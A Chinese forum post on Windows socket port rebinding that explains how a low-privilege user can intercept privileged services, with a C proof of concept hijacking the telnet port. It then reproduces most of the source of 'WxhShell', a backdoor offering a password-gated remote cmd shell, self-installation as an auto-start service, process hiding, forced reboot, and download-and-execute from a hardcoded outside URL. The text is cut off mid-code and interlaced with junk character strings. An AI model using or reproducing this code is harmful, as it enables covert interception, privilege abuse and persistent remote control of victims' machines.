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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ?GT,Y5  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Y[~Dj@Q<  
hBRcI0R  
  saddr.sin_family = AF_INET; fk5$z0/  
~~iFs ,9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); r,8~qHbOT  
8~!9bg6C  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (qyT,K8  
u%24% Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Rlwewxmr  
,v@C=4'm  
  这意味着什么?意味着可以进行如下的攻击: P9yg  
n=iL6Yu(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]tsp}M@  
,^n5UA`PK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &x.n>O  
1}/37\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 nBg  tK  
JIOeDuw+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E{8-VmY  
7;rf$\-&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 B;Dl2k^L  
~q,Wj!>Ob  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '_fj:dy  
han S8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 NK!#K>AO  
/6@$^paB  
  #include n4A#T#D!t3  
  #include s`dwE*~  
  #include +@mgb4_  
  #include    *|*6 q/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aH'=k?Of;  
  int main() qBDhCE  
  { .~Gt=F+`s  
  WORD wVersionRequested; }}X<e  
  DWORD ret; N@x5h8  
  WSADATA wsaData; W6&mXJ^3L  
  BOOL val; /r?EY&9G  
  SOCKADDR_IN saddr; A$1Gc> C  
  SOCKADDR_IN scaddr; WB|N)3-1  
  int err; g^)8a;/c  
  SOCKET s; oR@1/lV  
  SOCKET sc; (yO8G-Z0  
  int caddsize; 'z$!9ufY,  
  HANDLE mt; N_o|2  
  DWORD tid;   u5I#5  
  wVersionRequested = MAKEWORD( 2, 2 ); Q&`if O  
  err = WSAStartup( wVersionRequested, &wsaData ); Vg^,Ky,  
  if ( err != 0 ) { ,sZ)@?e  
  printf("error!WSAStartup failed!\n"); rp_Aw  
  return -1; g!I0UAm  
  } *wl&Zzx  
  saddr.sin_family = AF_INET; )\m%&EXG{  
   L a8D%N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 YgR}y+q^6  
!V27ln KP+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _%@ri]u{ov  
  saddr.sin_port = htons(23); |y DaFv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) E HH+)mlo  
  { #v\o@ArX  
  printf("error!socket failed!\n"); V]W-**j<  
  return -1; l|L ]==M  
  } (_nU}<y_i  
  val = TRUE; &pFP=|Pq  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @$R^-_m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \rSofn#c  
  { p"|0PlW  
  printf("error!setsockopt failed!\n"); I*EHZctH  
  return -1; |'!9mvt=  
  } lnWs cb3t  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =y]F cxF  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 !f01.Tq8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +L-(Lz[p  
!)HB+yr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W.7XShwd*2  
  { il~A(`+YO  
  ret=GetLastError(); Jl-:@[;  
  printf("error!bind failed!\n"); 2@>#?c7  
  return -1; LB/1To  
  } )~C+nb '6/  
  listen(s,2); It8s#oq8  
  while(1) ,jJbQIu#  
  { 19*D*dkBR  
  caddsize = sizeof(scaddr); @XN*H- |  
  //接受连接请求 (dHil#l  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); # 5b   
  if(sc!=INVALID_SOCKET) 6g 5Lf)yG  
  { V!zU4!@qP  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); m/p:W/0L  
  if(mt==NULL) 'M=V{.8U  
  { :$^cY>o  
  printf("Thread Creat Failed!\n"); c3!YA"5  
  break; r#\Lq;+-B  
  } =q<t,UP8  
  } ^ Q  
  CloseHandle(mt); ^-g-]?q  
  } LDY k\[81  
  closesocket(s); j% Wip j;c  
  WSACleanup(); I9hZ&ed16  
  return 0; dw3H9(-lp  
  }    `s~[q  
  DWORD WINAPI ClientThread(LPVOID lpParam) H{+[ ,l  
  { ';KZ.D  
  SOCKET ss = (SOCKET)lpParam; !Nx'4N`&l  
  SOCKET sc; DlxL:  
  unsigned char buf[4096]; Ybp';8V  
  SOCKADDR_IN saddr; pe>[Ts`2F  
  long num; &b=OT%D~FU  
  DWORD val; Z>_F:1x  
  DWORD ret; 9PWqoz2c  
  //如果是隐藏端口应用的话,可以在此处加一些判断 2SJ|$VsLaE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `FRdo  
  saddr.sin_family = AF_INET; arb'.:[z^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L%31>)8  
  saddr.sin_port = htons(23); 6rh^?B  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H57wzG{xG  
  { VY j pl  
  printf("error!socket failed!\n"); Ct9dV7SH  
  return -1; {LqahO*  
  }  ?h3t"9  
  val = 100; U IHe^?R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9N;y^ Y\  
  { ?;ovh nY)  
  ret = GetLastError(); 4rH:`494  
  return -1; F+285JK  
  } U^d!*9R  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =m/BH^|&W  
  { *5q_fO  
  ret = GetLastError(); w~Jy,[@n  
  return -1; >36>{b<'$*  
  } ?^!: Lw  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8w9?n3z=}  
  { p(pL"  
  printf("error!socket connect failed!\n");  ^9 Pae)  
  closesocket(sc); OHK]=DH:M  
  closesocket(ss); Ry"N_Fb  
  return -1; 6&[rA TU+  
  } 7Lx =VX#]q  
  while(1) lzK,VZ=mM  
  { #KwK``XC 4  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ;]Ko7M(4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {:ZsUnzm  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 FSA"U9 w<  
  num = recv(ss,buf,4096,0); aJSBG|IC  
  if(num>0) 9 M!U@>  
  send(sc,buf,num,0); ]Aa.=  
  else if(num==0) 'I5~<"E  
  break; baz~luM  
  num = recv(sc,buf,4096,0); v|GDPq  
  if(num>0) 2_ CJV  
  send(ss,buf,num,0); 4j}uVGi{e  
  else if(num==0) ?vV&tqnx%  
  break; ^8{:RiN6e~  
  } |\J! x|xy  
  closesocket(ss); xv~E wT)  
  closesocket(sc); z1m$8-4  
  return 0 ; -"/l)1ox,  
  } t+2,;G  
TRku(w1f  
2sYOO>  
========================================================== DH'0#  
u8Oo@xf0Fr  
下边附上一个代码,,WXhSHELL  9t_N 9@  
BOWR}n!g  
========================================================== `m=u2kxY  
'h{| ]  
#include "stdafx.h" @%4tWE  
,]Q i/m  
#include <stdio.h> Ztj~Q9mu  
#include <string.h> Z=[?T f  
#include <windows.h> xOBzT&  
#include <winsock2.h> Y!fgc<]'&  
#include <winsvc.h> xL} ~R7  
#include <urlmon.h> m$80D,3  
#ByrX\  
#pragma comment (lib, "Ws2_32.lib") sX|bp)Nw  
#pragma comment (lib, "urlmon.lib") 8mv}-;  
qN(,8P\90  
#define MAX_USER   100 // 最大客户端连接数 ]n^TN r7  
#define BUF_SOCK   200 // sock buffer (cdtUE8  
#define KEY_BUFF   255 // 输入 buffer taqmtXU=(  
:2E?|}`7\  
#define REBOOT     0   // 重启 /6nj 4.xxc  
#define SHUTDOWN   1   // 关机 wSIfqf+y  
>SaT?k1E  
#define DEF_PORT   5000 // 监听端口 %G/j+Pf  
,,CheRO  
#define REG_LEN     16   // 注册表键长度 &b!|Y  
#define SVC_LEN     80   // NT服务名长度 2pV@CT  
]2@g 5H}M  
// 从dll定义API * $v`5rP  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tP0!TkTo9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); l t{yo\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e2vL UlL8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M\)(_I)V=  
=`fz#Mfd  
// wxhshell配置信息 Bxs0m]  
struct WSCFG { 2qe]1B;  
  int ws_port;         // 监听端口 a@niig  
  char ws_passstr[REG_LEN]; // 口令 |!\5nix3A>  
  int ws_autoins;       // 安装标记, 1=yes 0=no z3(:a'  
  char ws_regname[REG_LEN]; // 注册表键名 T;Zv^:]0  
  char ws_svcname[REG_LEN]; // 服务名 )&wJ_ (z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $}z%}v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 pPnJf{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 w5R?9"d@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bZd)4  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :%kJ9zW  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kbKGGn4u  
X}R Q&k  
}; 8w L%(p  
m5KAKpCR,  
// default Wxhshell configuration O cJ(i#Q~<  
struct WSCFG wscfg={DEF_PORT, iK=SK3)vR  
    "xuhuanlingzhe", ;vLg4k  
    1, tk~<tqMq  
    "Wxhshell", PYJ8\XZ1_N  
    "Wxhshell", 5`O af\S  
            "WxhShell Service", H*VZ&{\7  
    "Wrsky Windows CmdShell Service", >TB Rp,;r  
    "Please Input Your Password: ", +Qo]'xKr  
  1, Mi2l BEu,  
  "http://www.wrsky.com/wxhshell.exe", uZkh.0yB  
  "Wxhshell.exe" 'c&S%Ra[3G  
    }; p!RyxB1.|  
Ct\n1T }  
// 消息定义模块 O.^1r  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NI33lp$V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; XR.Sm<A[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 02 6|u|R  
char *msg_ws_ext="\n\rExit."; J'4V_Kjg-  
char *msg_ws_end="\n\rQuit."; e!.r- v9  
char *msg_ws_boot="\n\rReboot..."; fd/?x^Z  
char *msg_ws_poff="\n\rShutdown..."; L"ob ))GF  
char *msg_ws_down="\n\rSave to "; ,V{Cy`bi  
;+Uc} =  
char *msg_ws_err="\n\rErr!"; #Ss lH  
char *msg_ws_ok="\n\rOK!"; *h Z{>  
R@Bnrk  
char ExeFile[MAX_PATH]; MaQ`7U5 |e  
int nUser = 0; v''F\V )  
HANDLE handles[MAX_USER]; /FW{>N1   
int OsIsNt; U5pg<xI  
G'0]m-)dw  
SERVICE_STATUS       serviceStatus; U?sio%`(  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?VP07 dQTe  
H;=++Dh  
// 函数声明 QZ^P2==x  
int Install(void); N9jSiRJ  
int Uninstall(void); aK4ZH}XHE"  
int DownloadFile(char *sURL, SOCKET wsh); h Lv_ER?  
int Boot(int flag); Gp5[H}8K  
void HideProc(void); iQj2aK Gs  
int GetOsVer(void); [|E|(@J  
int Wxhshell(SOCKET wsl); ?K/N{GK%{  
void TalkWithClient(void *cs); ITf, )?|]Y  
int CmdShell(SOCKET sock); H<wrusRg  
int StartFromService(void); %.`<ud  
int StartWxhshell(LPSTR lpCmdLine); sUTh}.[5  
_7qGo7bpN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); DP<[Uz&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6p1)wf.J  
I@9[  
// 数据结构和表定义 vhot-rBN  
SERVICE_TABLE_ENTRY DispatchTable[] = ?)i`)mu'  
{ +ZU@MOni  
{wscfg.ws_svcname, NTServiceMain}, \qB:z7I2  
{NULL, NULL} Y*q_>kps"  
}; HMrl!;:  
f{j (H?5  
// 自我安装 Wi3St`$  
int Install(void) +(qs{07A$  
{ Y[WL}:"93  
  char svExeFile[MAX_PATH]; UYW{A G2C  
  HKEY key; [yf&]0  
  strcpy(svExeFile,ExeFile); g?=|kp  
<oP"kh<D4  
// 如果是win9x系统,修改注册表设为自启动 "2a&G3}t"  
if(!OsIsNt) { AKkr )VgY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e~iPN.'1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PShluhY  
  RegCloseKey(key); QXg9ah~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s!Y`1h{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )/_T`cN  
  RegCloseKey(key); whdoG{/  
  return 0; U9:w^t[Pp  
    } vh">Z4  
  }  Z?_ t3  
} u/g4s (a  
else { }8,[B50  
;&8  
// 如果是NT以上系统,安装为系统服务 +K"8Q'&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xKW`m  
if (schSCManager!=0) [>y0Xf9^  
{ 4~YPLu  
  SC_HANDLE schService = CreateService Se>"=[=  
  ( N@>o:(08  
  schSCManager, 0^ IHBN?9  
  wscfg.ws_svcname, 1`z^Xk8vt  
  wscfg.ws_svcdisp, ?!d\c(5Gt  
  SERVICE_ALL_ACCESS, 0z1UF{{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )|SmB YV  
  SERVICE_AUTO_START, :*0l*j  
  SERVICE_ERROR_NORMAL, =i:6&Y~VGq  
  svExeFile,  J0Ik@  
  NULL, tP ;^;nw  
  NULL, UI}df<Ge  
  NULL, ~|t 7  
  NULL, }W)c-91  
  NULL ]x<`(  
  ); JZM:R  
  if (schService!=0) X \GB:#:X  
  { p z]T9ol~  
  CloseServiceHandle(schService); 5o P 3 1  
  CloseServiceHandle(schSCManager); :2_8.+:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); yw3E$~k  
  strcat(svExeFile,wscfg.ws_svcname); >nA6w$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @+(TM5Ub  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ebk_(Py\  
  RegCloseKey(key); SC 6cFyp2  
  return 0; FsdxLMwk1  
    } \gE6KE<?p  
  } u(92y]3,  
  CloseServiceHandle(schSCManager); :6}y gL*i  
} @ a?^2X^  
} EX.`6,:+2  
fZ)M Dq  
return 1; alB[/.1  
} vsU1Lzna6@  
v2tKk^6`(i  
// 自我卸载 +>,4d  
int Uninstall(void) _ Uxt9 X  
{ bw\a\/Dw  
  HKEY key; eJv_`#R&Of  
)n&@`>vm  
if(!OsIsNt) { Spt]<~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =5QP'Qt{O  
  RegDeleteValue(key,wscfg.ws_regname); ?-g/hXx;  
  RegCloseKey(key); dLq)Z*r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l0%qj(4`6&  
  RegDeleteValue(key,wscfg.ws_regname); 2G9sKg,kL  
  RegCloseKey(key); ? h*Ngbj>  
  return 0; LQs>[3rK  
  } & &\HE7*  
} O=C z*j  
} 'Lb- +X,  
else { ?z]h Ysy  
-(Y(K!n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ![OKmy  
if (schSCManager!=0) 7Y>17=|  
{ GV aIZh<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #'<s/7;~  
  if (schService!=0) $<[Q8V-  
  { QlmZ4fT[r  
  if(DeleteService(schService)!=0) { L-}6}5[  
  CloseServiceHandle(schService); x\r[Zp|  
  CloseServiceHandle(schSCManager); A_mVe\(*M  
  return 0; $aFCe}3b<  
  } >#Obhs|S{C  
  CloseServiceHandle(schService); \k69 S/O  
  } +UGWTO\#ha  
  CloseServiceHandle(schSCManager); +U:U/c5Z^  
} NLz[ F`I  
} E>}(r%B  
*b@YoQe3!  
return 1; w>]?gN?8Fe  
} \UF/_'=K  
_+vE(:T  
// 从指定url下载文件 >5aZ?#TS1  
int DownloadFile(char *sURL, SOCKET wsh) wM"P JG  
{ /4}B}"`Sl=  
  HRESULT hr; mT7B#^H  
char seps[]= "/"; kX2bU$1Q,i  
char *token; i#lnSJ08  
char *file; dV( "g],  
char myURL[MAX_PATH]; $z>L $,c>  
char myFILE[MAX_PATH]; 2 ;z~xR  
E W {vF|  
strcpy(myURL,sURL); :=iP_*#  
  token=strtok(myURL,seps); 8?> #  
  while(token!=NULL) Y$%z]i5   
  { Br,^4w[Hq  
    file=token; e;kH,fHUI3  
  token=strtok(NULL,seps); :&{:$-h!  
  } i`Tp +e@a>  
w'/ Mn+  
GetCurrentDirectory(MAX_PATH,myFILE); C`Oc%~UkC  
strcat(myFILE, "\\"); '>wr _ f  
strcat(myFILE, file); x2m*0D~  
  send(wsh,myFILE,strlen(myFILE),0); Hj>(kL9H  
send(wsh,"...",3,0); W@vt6v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); QQnpy.`:/  
  if(hr==S_OK) <;R}dlBASW  
return 0; ]f3eiHg*  
else j!It1B  
return 1; 'F)93SwU  
!m* YPY31  
} /:YM{,]  
Fbpe`pS+V  
// 系统电源模块 xejQ!MAB  
int Boot(int flag) Y2j>@  
{ R0l5"l*@+  
  HANDLE hToken; TvbkvK  
  TOKEN_PRIVILEGES tkp; V?.')?'V  
(&W&1KT  
  if(OsIsNt) { C[Ap&S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]r^/:M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #}8l9[Q|M  
    tkp.PrivilegeCount = 1; c,K)*HB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Zt;dPYq>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rY~!hZ  
if(flag==REBOOT) { 7<T1#~w4L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _:B/XZ  
  return 0; hLqRF4>L  
} co93}A,k  
else { &tAhRMa  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <K(qv^C  
  return 0; t+ ,'  
} Qcy /)4Hfg  
  } LkUYh3  
  else { "}ms|  
if(flag==REBOOT) { Q1A_hW2x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]d4`PXI  
  return 0; fbG+.'  
} `Mh 3v@K:  
else { &!xePKvO6k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]f3[I3;K  
  return 0; W7F1o[  
} $j+RUelFY  
} 9?jD90@ }  
|2$wJ$ I  
return 1; ,m`>  
} r~q(m>Ct6  
0bR)]"K  
// win9x进程隐藏模块 <Va7XX%>  
void HideProc(void) fI_I0dc.p  
{ z f rEM  
%M=Ob k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P?#I9y7iP  
  if ( hKernel != NULL ) _|'e Az   
  { qM$4c7'4P6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B"@3Qav3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DFk0"+Ky  
    FreeLibrary(hKernel); am'11a@*  
  } Rz #&v  
~yGD("X  
return; #cnh ~O  
} XTibx;yd<  
uPmK:9]3R  
// 获取操作系统版本 gPW% *|D,  
int GetOsVer(void) u6B,V  
{ o4^|n1vN  
  OSVERSIONINFO winfo; kK,Ne%}a2K  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); V!{}%;f  
  GetVersionEx(&winfo); ZM6`:/lc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K+s@.D9J  
  return 1; SU,#:s(  
  else ^n@dC?  
  return 0; c\J?J>xz  
} !Qqi%  
eTeZ^G  
// 客户端句柄模块 ef Moi'v  
int Wxhshell(SOCKET wsl) l\HLlwYO  
{ **D3.-0u&  
  SOCKET wsh; NMM$ m!zg  
  struct sockaddr_in client; K&\ q6bU  
  DWORD myID;  W0&x0  
__3s3YG  
  while(nUser<MAX_USER) NrVE[Z#  
{ )'+ tb\g  
  int nSize=sizeof(client); G2 E4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MMQ^&!H  
  if(wsh==INVALID_SOCKET) return 1; BidTrO  
y^*o%2/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t1Zcr#b>  
if(handles[nUser]==0) @U 6jd4?)  
  closesocket(wsh); +sW;p?K7eO  
else mw\ z'  
  nUser++; :j)v=qul  
  } v7h!'U[/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); `<"@&N^d  
YUGEGXw  
  return 0; H,{WrWA  
} B%.vEk)*  
G[bWjw86O  
// 关闭 socket =^9I)JW  
void CloseIt(SOCKET wsh)  v<_wf  
{ &P0jRT3e#Y  
closesocket(wsh); v>[U*E  
nUser--; X%Lhu6F  
ExitThread(0); t)i{=8 rq  
} $M0F~x  
 UZV\]Y  
// 客户端请求句柄 qdOUvf  
void TalkWithClient(void *cs) _<8~CWo:  
{ qDV t  
@mJ# ~@*(  
  SOCKET wsh=(SOCKET)cs; e2dg{n$6"  
  char pwd[SVC_LEN]; f i_'Ny>#  
  char cmd[KEY_BUFF]; C3]"y7  
char chr[1]; R^ln-H;  
int i,j; DH>>u  
\Zgc [F  
  while (nUser < MAX_USER) { %$*WdK#  
}3TTtd7  
if(wscfg.ws_passstr) { $!ATj`}kb  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V?zCON  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T[L7-5U0  
  //ZeroMemory(pwd,KEY_BUFF); C5F=J8pY  
      i=0; )&") J}@  
  while(i<SVC_LEN) { -Gyj]v5y`c  
Cd7imj  
  // 设置超时 n | M~C\*  
  fd_set FdRead; {tDH !sX  
  struct timeval TimeOut; \Qgc7ev  
  FD_ZERO(&FdRead); ;k=&ZV  
  FD_SET(wsh,&FdRead); om1@;u8u  
  TimeOut.tv_sec=8; %FhUjHm  
  TimeOut.tv_usec=0; nn?h;KzB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y!kU0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %`# HGji)  
kR !O-@GJ]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6/=0RTd  
  pwd=chr[0]; b)(rlX  
  if(chr[0]==0xd || chr[0]==0xa) { d$gT,+|vu  
  pwd=0; # GbfFoE  
  break; nkxv,_)ZT  
  } "8#EA<lsS  
  i++; JnY.]:  
    } KB$S B25m  
6]^~yby P  
  // 如果是非法用户,关闭 socket Pe,:FIp,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0|=,!sY  
} `mE>h4  
K-2oSS56  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); DfsPg':z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QSNPraT  
NRI @M5  
while(1) { QE Q/  
ng6".u9  
  ZeroMemory(cmd,KEY_BUFF); ]=28s *@  
7KlS9x2  
      // 自动支持客户端 telnet标准   9{cpxJ  
  j=0; xW. ~Jt  
  while(j<KEY_BUFF) { _)%Sz"g^Ix  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .ED8b5t|  
  cmd[j]=chr[0]; A?+0Ce&qL  
  if(chr[0]==0xa || chr[0]==0xd) { hR+\,P#G[  
  cmd[j]=0; wV\.NQtS  
  break; U^&,xz$Cg  
  } NE)Yd7m-  
  j++; 5I6u 2k3  
    } |\<L7|hb9  
E rrs6  
  // 下载文件 crbph.0  
  if(strstr(cmd,"http://")) { ]/6i#fTw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  X? l5}  
  if(DownloadFile(cmd,wsh)) /_D_W,#P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3Ow bU  
  else 1$#1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8n"L4jb(:  
  } {bP )Fon  
  else { 53<.Knw5a  
p&$O}AX|  
    switch(cmd[0]) { /_[?i"GW  
  /iw$\F |8  
  // 帮助 35KRJY#  
  case '?': { :lBw0{fP  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hCPyCq]  
    break; R KXhD PA  
  } >n"4M~I  
  // 安装 [e f&|Pi-  
  case 'i': { `Iqh\oY8-  
    if(Install()) s`2q(`}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \#sdN#e;XA  
    else bamQ]>0|>!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EpCF/i?9:  
    break; P\ia ?9  
    } ]RxJ^'a63  
  // 卸载 ?ocBRla  
  case 'r': { r]=Z :  
    if(Uninstall()) =oT4!OUf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &hcD/*_Z  
    else ;Qi0j<dXd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <  UD90}  
    break; re)7h$f}  
    } E"zC6iYZ;  
  // 显示 wxhshell 所在路径 {` ByZB  
  case 'p': { \#!B*:u  
    char svExeFile[MAX_PATH]; U62Z ?nge%  
    strcpy(svExeFile,"\n\r"); z)ndj 1,#)  
      strcat(svExeFile,ExeFile); ^jE8 "G*  
        send(wsh,svExeFile,strlen(svExeFile),0); _A~>?gJ;,  
    break; ;Sl%I+?  
    } KsSIX  
  // 重启 -nQ(.#-n  
  case 'b': { x8o/m$[,=u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?3y>K!D(A  
    if(Boot(REBOOT)) ]NyN@9u@(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  c+upoM  
    else { MG,)|XpyWJ  
    closesocket(wsh); ZV ;~IaBL  
    ExitThread(0); `d}t?qWS;F  
    } #H]c/  
    break; 8/<+p? 3p>  
    } `Jj q5:\&  
  // 关机 ,*.qa0E#W  
